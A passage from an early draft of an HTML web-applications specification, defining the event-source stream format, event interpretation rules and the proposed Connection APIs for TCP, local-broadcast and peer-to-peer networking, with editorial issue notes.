Failed, 413 Request Entity Too   Large, 414 Request-URI Too Long, 415 Unsupported Media Type, 416 Requested   Range Not Satisfiable, 417 Expectation Failed, 500 Internal Server Error,   501 Not Implemented, 502 Bad Gateway, 503 Service Unavailable, 504 Gateway   Timeout, and 505 HTTP Version Not Supported responses, and any other HTTP   response code not listed here, should cause the user agent to stop trying   to process this event-source element.  <p>For non-HTTP protocols, UAs should act in equivalent ways.  <h4 id=the-event><span class=secno>7.1.4. </span>The event stream format</h4>  <p>The event stream MIME type is   <code>application/x-dom-event-stream</code>.  <p>The event stream must always be encoded as UTF-8. Line must always be   terminated by a single U+000A LINE FEED character.  <p>The event stream format is (in pseudo-BNF):  <pre>AMPERSANDlt;streamAMPERSANDgt;  ::= AMPERSANDlt;eventAMPERSANDgt;*AMPERSANDlt;eventAMPERSANDgt;   ::= [ AMPERSANDlt;commentAMPERSANDgt; | AMPERSANDlt;commandAMPERSANDgt; | AMPERSANDlt;fieldAMPERSANDgt; ]* AMPERSANDlt;newlineAMPERSANDgt;AMPERSANDlt;commentAMPERSANDgt; ::= ';' AMPERSANDlt;dataAMPERSANDgt; AMPERSANDlt;newlineAMPERSANDgt;AMPERSANDlt;commandAMPERSANDgt; ::= ':' AMPERSANDlt;dataAMPERSANDgt; AMPERSANDlt;newlineAMPERSANDgt;AMPERSANDlt;fieldAMPERSANDgt;   ::= AMPERSANDlt;nameAMPERSANDgt; [ ':' AMPERSANDlt;spaceAMPERSANDgt;? AMPERSANDlt;dataAMPERSANDgt; ]? AMPERSANDlt;newlineAMPERSANDgt;AMPERSANDlt;nameAMPERSANDgt;    ::= one or more UNICODE characters other than ':', ';', and U+000A LINE FEEDAMPERSANDlt;dataAMPERSANDgt;    ::= zero or more UNICODE characters other than U+000A LINE FEEDAMPERSANDlt;spaceAMPERSANDgt;   ::= a single U+0020 SPACE character (' ')AMPERSANDlt;newlineAMPERSANDgt; ::= a single U+000A LINE FEED character</pre>  <p>Bytes that are not valid UTF-8 sequences must be interpreted as the   U+FFFD REPLACEMENT CHARACTER.  <p>The stream is parsed by reading everything line by line, in blocks   separated by blank lines (blank lines are those consisting of just a   single lone line feed character). Comment lines (those starting with the   character ';') and command lines (those starting with the character ':')   are ignored. Command lines are reserved for future use and should not be   used.  <p>For each non-blank, non-comment line, the field name is first taken.   This is everything on the line up to but not including the first colon   (':') or the line feed, whichever comes first. Then, if there was a colon,   the data for that line is taken. This is everything after the colon,   ignoring a single space after the colon if there is one, up to the end of   the line. If there was no colon the data is the empty string.  <div class=example>   <p>Examples:</p>   <pre>Field name: Field data</pre>   <pre>This is a blank field</pre>   <pre>1. These two lines: have the same data2. These two lines:have the same data</pre>   <pre>1. But these two lines:  do not2. But these two lines: do not</pre>  </div>  <p>If a field name occurs multiple times, the data values for those lines   are concatenated with a newline between them.  <div class=example>   <p>For example, the following:</p>   <pre>Test: Line 1Foo: BarTest: Line 2</pre>   <p>...is treated as having two fields, one called <code>Test</code> with    the value <code>Line 1\nLine 2</code> (where <code>\n</code> represents a    newline), and one called <code>Foo</code> with the value <code>    Bar</code>.</p>  </div>  <p class=note>Since any random stream of characters matches the above   format, there is no need to define any error handling.  <h4 id=event-stream-interpretation><span class=secno>7.1.5. </span>Event   stream interpretation</h4>  <p>Once the fields have been parsed, they are interpreted as follows (these   are case-sensitive exact comparisons):  <ul>   <li>    <p><code title="">Event</code> is the name of the event. For example,     <code title="">load</code>, <code title="">DOMActivate</code>, <code     title="">updateTicker</code>. If there is no field with this name, then     no event will be synthesised, and the other data will be ignored.   <li>    <p><code title="">Namespace</code> is the DOM3 namespace for the event.     For normal DOM events this would be <code     title="">http://www.w3.org/2001/xml-events</code>. If it isn't specified     the event namespace is null.   <li>    <p><code title="">Class</code> is the interface used for the event, for     instance <code>Event</code>, <code>UIEvent</code>,     <code>MutationEvent</code>, <code>KeyboardEvent</code>, etc. For     compatibility with DOM3 Events, the values <code     title="">UIEvents</code>, <code title="">MouseEvents</code>, <code     title="">MutationEvents</code>, and <code title="">HTMLEvents</code> are     valid values and must be treated respectively as meaning the interfaces     <code>UIEvent</code>, <code>MouseEvent</code>,     <code>MutationEvent</code>, and <code>Event</code>. (This value can     therefore be used as the argument to <code     title="">createEvent()</code>.) If the value is not specified it is     defaulted based on the event name as follows:</p>    <ul>     <li>      <p>If <code title="">Namespace</code> is <code       title="">http://www.w3.org/2001/xml-events</code> or null and the       <code title="">Event</code> field exactly matches one of the events       specified by DOM3 Events in <a       href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#Events-EventTypes-complete">section       1.4.2 "Complete list of event types"</a>, then the Class defaults to       the interface relevant for that event type. <a       href="#refsDOM3EVENTS">[DOM3EVENTS]</a></p>      <div class=example>       <p>For example:</p>       <pre>Event: click</pre>       <p>...would cause <code title="">Class</code> to be treated as        <code>MouseEvent</code>.</p>      </div>     <li>      <p>If <code title="">Namespace</code> is       <code>uuid:755e2d2d-a836-4539-83f4-16b51156341f</code> or null and the       <code title="">Event</code> doesn't match any of the known events,       then the <code><a href="#remoteevent">RemoteEvent</a></code> interface       (described below) is used.     <li>      <p>Otherwise, if the UA doesn't have special knowledge of which class       to use for the given event in the given namespace, then the       <code>Event</code> interface is used.    </ul>    <p>It is quite possible to give the wrong class for an event. This is     equivalent to creating an event in the DOM using the DOM Event APIs, but     using the wrong interface for it.</p>   <li>    <p><code title="">Bubbles</code> specifies whether the event is to     bubble. If it is specified and has the value <code title="">No</code>,     the event does not bubble. If it is specified and has any other value     (including <code title="">no</code> or <code title="">No\n</code>) then     the event bubbles. If it is not specified it is defaulted based on the     event name as follows:</p>    <ul>     <li>      <p>If <code title="">Namespace</code> is <code       title="">http://www.w3.org/2001/xml-events</code> or null and the       <code title="">Event</code> field exactly matches one of the events       specified by DOM3 Events in <a       href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#Events-EventTypes-complete">section       1.4.2 "Complete list of event types"</a>, then whether the event       bubbles depends on whether the DOM3 Events spec specifies that that       event should bubble or not. <a href="#refsDOM3EVENTS">[DOM3EVENTS]</a></p>      <div class=example>       <p>For example:</p>       <pre>Event: load</pre>       <p>...would cause <code title="">Bubbles</code> to be treated as <code        title="">No</code>.</p>      </div>     <li>      <p>Otherwise, if the UA doesn't have special knowledge of which class       to use for the given event in the given namespace, then the event       bubbles.    </ul>   <li>    <p><code title="">Cancelable</code> specifies whether the event may have     its default action prevented. If it is specified and has the value <code     title="">No</code>, the event may not have its default action prevented.     If it is specified and has any other value (including <code     title="">no</code> or <code title="">No\n</code>) then the event may be     canceled. If it is not specified it is defaulted based on the event name     as follows:</p>    <ul>     <li>      <p>If <code title="">Namespace</code> is <code       title="">http://www.w3.org/2001/xml-events</code> or null and the       <code title="">Event</code> field exactly matches one of the events       specified by DOM3 Events in <a       href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#Events-EventTypes-complete">section       1.4.2 "Complete list of event types"</a>, then whether the event is       cancelable depends on whether the DOM3 Events spec specifies that that       event should be cancelable or not. <a       href="#refsDOM3EVENTS">[DOM3EVENTS]</a></p>      <div class=example>       <p>For example:</p>       <pre>Event: load</pre>       <p>...would cause <code title="">Cancelable</code> to be treated as        <code title="">No</code>.</p>      </div>     <li>      <p>Otherwise, if the UA doesn't have special knowledge of which class       to use for the given event in the given namespace, then the event may       be canceled.    </ul>   <li>    <p><code title="">Target</code> is the element that the event is to be     dispatched on. If its value starts with a <code title="">#</code>     character then the remainder of the value represents an ID, and the     event must be dispatched on the same node as would be obtained by the     <code title="">getElementById()</code> method on the ownerDocument of     the event-source element responsible for the event being dispatched.</p>    <div class=example>     <p>For example,</p>     <pre>Target: #test</pre>     <p>...would target the element with ID <code title="">test</code>.</p>    </div>    <p>If the value does not start with a <code title="">#</code> but has the     literal value <code>Document</code>, then the event is dispatched at the     <code title="">ownerDocument</code> of the <code><a     href="#event-source0">event-source</a></code> element responsible for     the event being dispatched.</p>    <p>Otherwise, the event is dispatched at the <code><a     href="#event-source0">event-source</a></code> element itself.   <li>    <p>Other fields depend on the interface specified (or possibly implied)     by the <code title="">Class</code> field. If the specified interface has     an attribute that exactly matches the name of the field, and the value     of the field can be converted (using the type conversions defined in     ECMAScript) to the type of the attribute, then it must be used. Any     attributes (other than the <code>Event</code> interface attributes) that     do not have matching fields are initialised to zero, null, false, or the     empty string.</p>    <div class=example>     <p>For example:</p>     <pre>; ...some other fields...Class: MouseEventbutton: 2</pre>     <p>...would result in a MouseEvent event that had <code>button</code>      set to <code title="">2</code> but <code>screenX</code>,      <code>screenY</code>, etc, set to 0, false, or null as appropriate.</p>    </div>    <p>If a field does not match any of the attributes on the event, it is     ignored.</p>    <div class=example>     <p>For example:</p>     <pre>Event: keypressClass: MouseEventkeyIdentifier: 0</pre>     <p>...would result in a <code>MouseEvent</code> event with its fields      all at their default values, with the event name being <code      title="">keypress</code>. The <code>ctrlKey</code> field would be      ignored. (If the author had not included the <code      title="">Class</code> field explicitly, it would have just worked,      since the class would have defaulted as described above.)</p>    </div>  </ul>  <p>Once a blank line is reached, an event of the appropriate type is   synthesized and dispatched to the appropriate node as described by the   fields above. No event is dispatched until a blank line has been received.  <p>If the <code title="">Event</code> field was omitted, then no event is   synthesised and the data is ignored.  <div class=example>   <p>The following stream contains four blocks yet synthesises no events,    since none of the blocks have a field called <code title="">Event</code>.    (The first block has just a comment, the second block has two fields with    names "load" and "Target" respectively, the third block is empty, and the    fourth block has two comments.)</p>   <pre>; testloadTarget: #image1; if any real events follow this block, they will not be affected by; the "Target" and "load" fields above.</pre>  </div>  <h4 id=the-remoteevent><span class=secno>7.1.6. </span>The <code><a   href="#remoteevent">RemoteEvent</a></code> interface</h4>  <p>The <code><a href="#remoteevent">RemoteEvent</a></code> interface is   defined as follows:  <pre class=idl>interface <dfn id=remoteevent>RemoteEvent</dfn> : Event {  readonly attribute DOMString <span title=dom-RemoteEvent-data>data</span>;  void <span title=dom-RemoteEvent-initRemoteEvent>initRemoteEvent</span>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString dataArg);  void <span title=dom-RemoteEvent-initRemoteEventNS>initRemoteEventNS</span>(in DOMString namespaceURI, in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString dataArg);};</pre>  <!-- XXX definitions missing in this section -->  <p>Events that use the <code><a href="#remoteevent">RemoteEvent</a></code>   interface never have any default action associated with them.  <p class=big-issue>I guess we should define those members.  <h4 id=example><span class=secno>7.1.7. </span>Example</h4>  <div class=example>   <p>The following event description, once followed by a blank line:</p>   <pre>Event: stock changedata: YHOOdata: -2data: 10</pre>   <p>...would cause an event <code>stock change</code> with the interface    <code><a href="#remoteevent">RemoteEvent</a></code> to be dispatched on    the <code><a href="#event-source0">event-source</a></code> element, which    would then bubble up the DOM, and whose <code>data</code> attribute would    contain the string <code>YHOO\n-2\n10</code> (where <code>\n</code> again    represents a newline).</p>   <p>This could be used as follows:   <pre>AMPERSANDlt;event-source src="http://stocks.example.com/ticker.php" id="stock"AMPERSANDgt;AMPERSANDlt;script type="text/javascript"AMPERSANDgt;document.getElementById('stock').addEventListener('stock change',  function () {    var data = event.data.split('\n');    updateStocks(data[0], data[1], data[2]);  }, false);AMPERSANDlt;/scriptAMPERSANDgt</pre>   <p>...where updateStocks is a function defined as:   <pre>function updateStocks(symbol, delta, value) { ... }</pre>   <p>...or some such.</p>  </div>  <h3 id=network><span class=secno>7.2. </span>Network connections</h3>  <p>To enable Web applications to communicate with each other in local area   networks, and to maintain bidirectional communications with their   originating server, this specification introduces the <code><a   href="#connection0">Connection</a></code> interface.  <p>The <code><a href="#windowhtml">WindowHTML</a></code> interface provides   three constructors for creating <code><a   href="#connection0">Connection</a></code> objects: <code   title=dom-TCPConnection><a   href="#tcpconnection">TCPConnection()</a></code>, for creating a direct   (possibly encrypted) link to another node on the Internet using TCP/IP;   <code title=dom-LocalBroadcastConnection><a   href="#localbroadcastconnection">LocalBroadcastConnection()</a></code>,   for creating a connection to any listening peer on a local network (which   could be a local TCP/IP subnet using UDP, a Bluetooth PAN, or another kind   of network infrastructure); and <code title=dom-PeerToPeerConnection><a   href="#peertopeerconnection">PeerToPeerConnection()</a></code>, for a   direct peer-to-peer connection (which could again be over TCP/IP,   Bluetooth, IrDA, or some other type of network).  <p class=note>This interface does not allow for raw access to the   underlying network. For example, this interface could not be used to   implement an IRC client without proxying messages through a custom server.  <h4 id=network-intro><span class=secno>7.2.1. </span>Introduction</h4>  <p><em>This section is non-normative.</em>  <p class=big-issue>An introduction to the client-side and server-side of   using the direct connection APIs.  <p class=big-issue>An example of a party-line implementation of a broadcast   service, and direct peer-to-peer chat for direct local connections.</p>  <!--    <div class="example">     <p>The following script creates a connection to a local party     line:</p>     <pre>var a = new LocalBroadcastConnection();  a.onread = function(e) { alert(e.source + ' wrote ' + e.data); }  a.send('hello');</pre>    </div>-->  <!--XXX   Explain why we don't use HTTP instead of our own protocol: wouldn't   work for peer-to-peer, too much work to implement server if you   have to implement a compliant HTTP server as well, etc  -->  <h4 id=the-connection><span class=secno>7.2.2. </span>The <code><a   href="#connection0">Connection</a></code> interface</h4>  <pre class=idl>interface <dfn id=connection0>Connection</dfn> {  readonly attribute DOMString <a href="#network0" title=dom-Connection-network>network</a>;  readonly attribute DOMString <a href="#peer" title=dom-Connection-peer>peer</a>;  readonly attribute int <a href="#readystate" title=dom-Connection-readyState>readyState</a>;           attribute EventListener <a href="#onopen" title=dom-Connection-onopen>onopen</a>;           attribute EventListener <a href="#onread" title=dom-Connection-onread>onread</a>;           attribute EventListener <a href="#onclose" title=dom-Connection-onclose>onclose</a>;  void <a href="#send" title=dom-Connection-send>send</a>(in DOMString data);  void <a href="#disconnect" title=dom-Connection-disconnect>disconnect</a>();};</pre>  <p><code><a href="#connection0">Connection</a></code> objects must also   implement the <code>EventTarget</code> interface. <a   href="#refsDOM3EVENTS">[DOM3EVENTS]</a>  <p>When a <code><a href="#connection0">Connection</a></code> object is   created, the UA must try to establish a connection, as described in the   sections below describing each connection type.  <p>The <dfn id=network0   title=dom-Connection-network><code>network</code></dfn> attribute   represents the name of the network connection (the value depends on the   kind of connection being established). The <dfn id=peer   title=dom-Connection-peer><code>peer</code></dfn> attribute identifies the   remote host for direct (non-broadcast) connections.  <p>The <code title=dom-Connection-network><a   href="#network0">network</a></code> attribute must be set as soon as the   <code><a href="#connection0">Connection</a></code> object is created, and   keeps the same value for the lifetime of the object. The <code   title=dom-Connection-peer><a href="#peer">peer</a></code> attribute must   initially be set to the empty string and must be updated once, when the   connection is established, after which point it must keep the same value   for the lifetime of the object.  <p>The <dfn id=readystate   title=dom-Connection-readyState><code>readyState</code></dfn> attribute   represents the state of the connection. When the object is created it must   be set to 0. It can have the following values:  <dl>   <dt>0 Connecting   <dd>The connection has not yet been established.   <dt>1 Connected   <dd>The connection is established and communication is possible.   <dt>2 Closed   <dd>The connection has been closed.  </dl>  <p id=openConnection>Once a connection is established, the <code   title=dom-Connection-readyState><a   href="#readystate">readyState</a></code> attribute's value must be changed   to 1, and the <code title=event-connection-open><a   href="#open2">open</a></code> event must be fired on the <code><a   href="#connection0">Connection</a></code> object.  <p>When data is received, the <code title=event-connection-read><a   href="#read">read</a></code> event will be fired on the <code><a   href="#connection0">Connection</a></code> object.</p>  <!-- conf crit for this  statement is in the various protocol-specific sections below. -->  <p id=closeConnection>When the connection is closed, the <code   title=dom-Connection-readyState><a   href="#readystate">readyState</a></code> attribute's value must be changed   to 2, and the <code title=event-connection-close><a   href="#close0">close</a></code> event must be fired on the <code><a   href="#connection0">Connection</a></code> object.  <p>The <dfn id=onopen   title=dom-Connection-onopen><code>onopen</code></dfn>, <dfn id=onread   title=dom-Connection-onread><code>onread</code></dfn>, and <dfn id=onclose   title=dom-Connection-onclose><code>onclose</code></dfn> attributes must,   when set, register their new value as an event listener for their   respective events (namely <code title=event-connection-open><a   href="#open2">open</a></code>, <code title=event-connection-read><a   href="#read">read</a></code>, and <code title=event-connection-close><a   href="#close0">close</a></code>), and unregister their previous value if   any.  <p>The <dfn id=send title=dom-Connection-send><code>send()</code></dfn>   method transmits data using the connection. If the connection is not yet   established, it must raise an <code>INVALID_STATE_ERR</code> exception. If   the connection <em>is</em> established, then the behaviour depends on the   connection type, as described below.  <p>The <dfn id=disconnect   title=dom-Connection-disconnect><code>disconnect()</code></dfn> method   must close the connection, if it is open. If the connection is already   closed, it must do nothing. Closing the connection causes a <code   title=event-connection-close><a href="#close0">close</a></code> event to   be fired and the <code title=dom-Connection-readyState><a   href="#readystate">readyState</a></code> attribute's value to change, as   <a href="#closeConnection">described above</a>.  <h4 id=connection><span class=secno>7.2.3. </span>Connection Events</h4>  <p>All the events described in this section are events in the   <code>http://www.w3.org/2001/xml-events</code> namespace, which do not   bubble, are not cancelable, and have no default action.  <p>The <dfn id=open2 title=event-connection-open><code>open</code></dfn>   event is fired when the connection is established. UAs must use the normal   <code>Event</code> interface when firing this event.  <p>The <dfn id=close0 title=event-connection-close><code>close</code></dfn>   event is fired when the connection is closed (whether by the author,   calling the <code title=dom-Connection-disconnect><a   href="#disconnect">disconnect()</a></code> method, or by the server, or by   a network error). UAs must use the normal <code>Event</code> interface   when firing this event as well.  <p class=note>No information regarding why the connection was closed is   passed to the application in this version of this specification.  <p>The <dfn id=read title=event-connection-read><code>read</code></dfn>   event is fired when when data is received for a connection. UAs must use   the <code><a href="#connectionreadevent">ConnectionReadEvent</a></code>   interface for this event.  <pre   class=idl>interface <dfn id=connectionreadevent>ConnectionReadEvent</dfn> : Event {  readonly attribute DOMString <a href="#data4" title=dom-ConnectionReadEvent-data>data</a>;  readonly attribute DOMString <a href="#source0" title=dom-ConnectionReadEvent-source>source</a>;  void <a href="#initconnectionreadevent" title=dom-ConnectionReadEvent-initConnectionReadEvent>initConnectionReadEvent</a>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString dataArg);  void <a href="#initconnectionreadeventns" title=dom-ConnectionReadEvent-initConnectionReadEventNS>initConnectionReadEventNS</a>(in DOMString namespaceURI, in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString dataArg);};</pre>  <p>The <dfn id=data4   title=dom-ConnectionReadEvent-data><code>data</code></dfn> attribute must   contain the data that was transmitted from the peer.  <p>The <dfn id=source0   title=dom-ConnectionReadEvent-source><code>source</code></dfn> attribute   must contain the name of the peer. This is primarily useful on broadcast   connections; on direct connections it is equal to the <code   title=dom-Connection-peer><a href="#peer">peer</a></code> attribute on the   <code><a href="#connection0">Connection</a></code> object.</p>  <!-- XXX check that the following three sections define "the data  that was transmitted" and "the name of the peer" in terms that mean  they fit into the above definitions ("for the purposes of the  ConnectionReadEvent"). -->  <!-- XXX should we have a Connection attribute on the event? -->  <p>The <dfn id=initconnectionreadevent   title=dom-ConnectionReadEvent-initConnectionReadEvent><code>initConnectionReadEvent()</code></dfn>   and <dfn id=initconnectionreadeventns   title=dom-ConnectionReadEvent-initConnectionReadEventNS><code>initConnectionReadEventNS()</code></dfn>   methods must initialise the event in a manner analogous to the   similarly-named methods in the DOM3 Events interfaces. <a   href="#DOM3Events">[DOM3EVENTS]</a>  <p>Events that would be fired during script execution (e.g. between the   connection object being created AMPERSANDmdash; and thus the connection being   established AMPERSANDmdash; and the current script completing; or, during the   execution of a <code title=event-connection-read><a   href="#read">read</a></code> event handler) must be buffered, and those   events queued up and each one individually fired after the script has   completed.</p>  <!-- XXX make this more generic -->  <h4 id=tcp-connections><span class=secno>7.2.4. </span>TCP connections</h4>  <p>The <dfn id=tcpconnection   title=dom-TCPConnection><code>TCPConnection(<var title="">subdomain</var>,   <var title="">port</var>, <var title="">secure</var>)</code></dfn>   constructor on the <code><a href="#windowhtml">WindowHTML</a></code>   interface returns a new object implementing the <code><a   href="#connection0">Connection</a></code> interface, set up for a direct   connection to a specified host on the page's domain.  <p>When this constructor is invoked, the following steps must be followed.  <p>First, if the <a href="#domain1">script's domain</a> is not a host name   (e.g. it is an IP address) then the UA must raise a <a   href="#security2">security exception</a>. <span class=issue>We currently   don't allow connections to be set up back to an originating IP address,   but we could, if the subdomain is the empty string.</span>  <p>Then, if the <var title="">subdomain</var> argument is null or the empty   string, the target host is the <a href="#domain1">script's domain</a>.   Otherwise, the <var title="">subdomain</var> argument is prepended to the   <a href="#domain1">script's domain</a> with a dot separating the two   strings, and that is the target host.  <p>If either:  <ul>   <li>the target host is not a valid host name, or   <li>the <var title="">port</var> argument is neither equal to 80, nor    equal to 443, nor greater than or equal to 1024 and less than or equal to    65535,  </ul>  <p>...then the UA must raise a <a href="#security2">security exception</a>.</p>  <!-- XXX we should have our own port for this too, e.g. 980 -->  <p>Otherwise, the user agent must verify that the <a href="#the-string">the   string representing the script's domain in IDNA format</a> can be obtained   without errors. If it cannot, then the user agent must raise a <a   href="#security2">security exception</a>.  <p>The user agent may also raise a <a href="#security2">security   exception</a> at this time if, for some reason, permission to create a   direct TCP connection to the relevant host is denied. Reasons could   include the UA being instructed by the user to not allow direct   connections, or the UA establishing (for instance using UPnP) that the   network topology will cause connections on the specified port to be   directed at the wrong host.  <p>If no exceptions are raised by the previous steps, then a new <code><a   href="#connection0">Connection</a></code> object must be created, its   <code title=dom-Connection-peer><a href="#peer">peer</a></code> attribute   must be set to a string consisting of the name of the target host, a colon   (U+003A COLON), and the port number as decimal digits, and its <code   title=dom-Connection-network><a href="#network0">network</a></code>   attribute must be set to the same value as the <code   title=dom-Connection-peer><a href="#peer">peer</a></code> attribute.  <p>This object must then be returned.  <p>The user agent must then begin trying to establish a connection with the   target host and specified port. (This typically would begin in the   backgound, while the script continues to execute.)  <p>If the <var title="">secure</var> boolean argument is set to true, then   the user agent must establish a secure connection with the target host and   specified port using TLS or another protocol, negotiated with the server.   <a href="#refsRFC2246">[RFC2246]</a> If this fails the user agent must act   as if it had <a href="#closeConnection">closed the connection</a>.  <p>Once a secure connection is established, or if the <var   title="">secure</var> boolean argument is not set to true, then the user   agent must continue to connect to the server using the protocol described   in the section entitled <a href="#clients1">clients connecting over   TCP</a>. All data on connections made using TLS must be sent as   "application data".  <p>Once the connection is established, the UA must act as described in the   section entitled <a href="#sending1">sending and receiving data over   TCP</a>.  <p>User agents should allow multiple TCP connections to be established per   host. In particular, user agents should not apply per-host HTTP connection   limits to connections established with the <code   title=dom-TCPConnection><a href="#tcpconnection">TCPConnection</a></code>   constructor.  <h4 id=broadcast><span class=secno>7.2.5. </span>Broadcast connections</h4>  <p>The <dfn id=localbroadcastconnection   title=dom-LocalBroadcastConnection><code>LocalBroadcastConnection()</code></dfn>   constructor on the <code><a href="#windowhtml">WindowHTML</a></code>   interface returns a new object implementing the <code><a   href="#connection0">Connection</a></code> interface, set up to broadcast   on the local network.  <p>When this constructor is invoked, a new <code><a   href="#connection0">Connection</a></code> object must be created.  <p>The <code title=dom-Connection-network><a   href="#network0">network</a></code> attribute of the object must be set to   <a href="#the-string">the string representing the script's domain in IDNA   format</a>. If this string cannot be obtained, then the user agent must   raise a <a href="#security2">security exception</a> exception when the   constructor is called.  <p>The <code title=dom-Connection-peer><a href="#peer">peer</a></code>   attribute must be set to the empty string.  <p>The object must then be returned, unless, for some reason, permission to   broadcast on the local network is to be denied. In the latter case, a <a   href="#security2">security exception</a> must be raised instead. User   agents may deny such permission for any reason, for example a user   preference.  <p>If the object is returned (i.e. if no exception is raised), the user   agent must the begin broadcasting and listening on the local network, in   the background, as described below. The user agent may define "the local   network" in any way it considers appropriate and safe; for instance the   user agent may ask the user which network (e.g. Bluetooth, IrDA, Ethernet,   etc) the user would like to broadcast on before beginning broadcasting.  <p>UAs may broadcast and listen on multiple networks at once. For example,   the UA could broadcast on both Bluetooth and Wifi at the same time.</p>  <!-- XXX bridging? how do we handle one UA not seeing  the same hosts as another UA? -->  <p>As soon as the object is returned, the connection <a   href="#openConnection">has been established</a>, which implies that the   <code title=event-connection-open><a href="#open2">open</a></code> event   must be fired. Broadcast connections are never closed.  <h5 id=broadcasting><span class=secno>7.2.5.1. </span>Broadcasting over   TCP/IP</h5>  <p class=big-issue>Should we drop this altogether? Letting people fill the   local network with garbage seems unwise.  <p class=big-issue>We need to register a UDP port for this. For now this   spec refers to port 18080/udp.  <p class=note>Since this feature requires that the user agent listen to a   particular port, some platforms might prevent more than one user agent per   IP address from using this feature at any one time.  <p>On TCP/IP networks, broadcast connections transmit data using UDP over   port 18080.  <p>When the <code title=dom-Connection-send><a href="#send">send(<var   title="">data</var>)</a></code> method is invoked on a <code><a   href="#connection0">Connection</a></code> object that was created by the   <code title=dom-LocalBroadcastConnection><a   href="#localbroadcastconnection">LocalBroadcastConnection()</a></code>   constructor, the user agent must follow these steps:  <ol>   <li>Create a string consisting of the value of the <code    title=dom-Connection-network><a href="#network0">network</a></code>    attribute of the <code><a href="#connection0">Connection</a></code>    object, a U+0020 SPACE character, a U+0002 START OF TEXT character, and    the <var title="">data</var> argument.   <li>Encode the string as UTF-8.   <li>If the resulting byte stream is longer than 65487 bytes, raise an    <code>INDEX_SIZE_ERR</code> DOM exception and stop.   <li>Create a UDP packet whose data is the byte stream, with the source and    destination ports being 18080, and with appropriate length and checksum    fields. Transmit this packet to IPv4 address 255.255.255.255 or IPv6    address ff02::1, as appropriate. <span class=note>IPv6 applications will    also have to enable reception from this address.</span>  </ol>  <p>When a broadcast connection is opened on a TCP/IP network, the user   agent should listen for UDP packets on port 18080.  <p>When the user agent receives a packet on port 18080, the user agent must   attempt to decode that packet's data as UTF-8. If the data is not fully   correct UTF-8 (i.e. if there are decoding errors) then the packet must be   ignored. Otherwise, the user agent must check to see if the decoded string   contains a U+0020 SPACE character. If it does not, then the packet must   again be ignored (it might be a peer discovery packet from a <code   title=dom-PeerToPeerConnection><a   href="#peertopeerconnection">PeerToPeerConnection()</a></code>   constructor). If it does then the user agent must split the string at the   first space character. All the characters before the space are then known   as <var title="">d</var>, and all the characters after the space are known   as <var title="">s</var>. If <var title="">s</var> is not at least one   character long, or if the first character of <var title="">s</var> is not   a U+0002 START OF TEXT character, then the packet must be ignored. (This   allows for future extension of this protocol.)  <p>Otherwise, for each <code><a href="#connection0">Connection</a></code>   object that was created by the <code title=dom-LocalBroadcastConnection><a   href="#localbroadcastconnection">LocalBroadcastConnection()</a></code>   constructor and whose <code title=dom-Connection-network><a   href="#network0">network</a></code> attribute exactly matches <var   title="">d</var>, a <code title=event-connection-read><a   href="#read">read</a></code> event must be fired on the <code><a   href="#connection0">Connection</a></code> object. The string <var   title="">s</var>, with the first character removed, must be used as the   <code title=dom-ConnectionReadEvent-data><a href="#data4">data</a></code>,   and the source IP address of the packet as the <code   title=dom-ConnectionReadEvent-source><a href="#source0">source</a></code>.  <p class=big-issue>Making the source IP available means that if two or more   machines in a private network can be made to go to a hostile page   simultaneously, the hostile page can determine the IP addresses used   locally (i.e. on the other side of any NAT router). Is there some way we   can keep link-local IP addresses secret while still allowing for   applications to distinguish between multiple participants?  <h5 id=bluetooth-broadcast><span class=secno>7.2.5.2. </span>Broadcasting   over Bluetooth</h5>  <p class=big-issue>Does anyone know enough about Bluetooth to write this   section?  <h5 id=irda-broadcast><span class=secno>7.2.5.3. </span>Broadcasting over   IrDA</h5>  <p class=big-issue>Does anyone know enough about IrDA to write this   section?  <h4 id=peer-to-peer><span class=secno>7.2.6. </span>Peer-to-peer   connections</h4>  <p>The <dfn id=peertopeerconnection   title=dom-PeerToPeerConnection><code>PeerToPeerConnection()</code></dfn>   constructor on the <code><a href="#windowhtml">WindowHTML</a></code>   interface returns a new object implementing the <code><a   href="#connection0">Connection</a></code> interface, set up for a direct   connection to a user-specified host.  <p>When this constructor is invoked, a new <code><a   href="#connection0">Connection</a></code> object must be created.  <p>The <code title=dom-Connection-network><a   href="#network0">network</a></code> attribute of the object must be set to   <a href="#the-string">the string representing the script's domain in IDNA   format</a>. If this string cannot be obtained, then the user agent must   raise a <a href="#security2">security exception</a> exception when the   constructor is called.  <p>The <code title=dom-Connection-peer><a href="#peer">peer</a></code>   attribute must be set to the empty string.  <p>The object must then be returned, unless, for some reason, permission to   establish peer-to-peer connections is generally disallowed, for example   due to administrator settings. In the latter case, a <a   href="#security2">security exception</a> must be raised instead.  <p>The user agent must then, typically while the script resumes execution,   find a remote host to establish a connection to. To do this it must start   broadcasting and listening for peer discovery messages and listening for   incoming connection requests on all the supported networks. How this is   performed depends on the type of network and is described below.  <p>The UA should inform the user of the clients that are detected, and   allow the user to select one to connect to. UAs may also allow users to   explicit specify hosts that were not detected, e.g. by having the user   enter an IP address.  <p>If an incoming connection is detected before the user specifies a target   host, the user agent should ask the user to confirm that this is the host   they wish to connect to. If it is, the connection should be accepted and   the UA will act as the <em>server</em> in this connection. (Which UA acts   as the server and which acts as the client is not discernible at the DOM   API level.)  <p>If no incoming connection is detected and if the user specifies a   particular target host, a connection should be established to that host,   with the UA acting as the <em>client</em> in the connection.  <p>No more than one connection must be established per <code><a   href="#connection0">Connection</a></code> object, so once a connection has   been established, the user agent must stop listening for further   connections (unless, or until such time as, another <code><a   href="#connection0">Connection</a></code> object is being created).  <p>If at any point the user cancels the connection process or the remote   host refuses the connection, then the user agent must act as if it had <a   href="#closeConnection">closed the connection</a>, and stop trying to   connect.  <h5 id=peer-to-peer0><span class=secno>7.2.6.1. </span>Peer-to-peer   connections over TCP/IP</h5>  <p class=big-issue>Should we replace this section with something that uses   Rendez-vous/zeroconf or equivalent?  <p class=big-issue>We need to register ports for this. For now this spec   refers to port 18080/udp and 18080/tcp.  <p class=note>Since this feature requires that the user agent listen to a   particular port, some platforms might prevent more than one user agent per   IP address from using this feature at any one time.  <p>When using TCP/IP, broadcasting peer discovery messages must be done by   creating UDP packets every few seconds containing as their data the value   of the connection's <code title=dom-Connection-network><a   href="#network0">network</a></code> 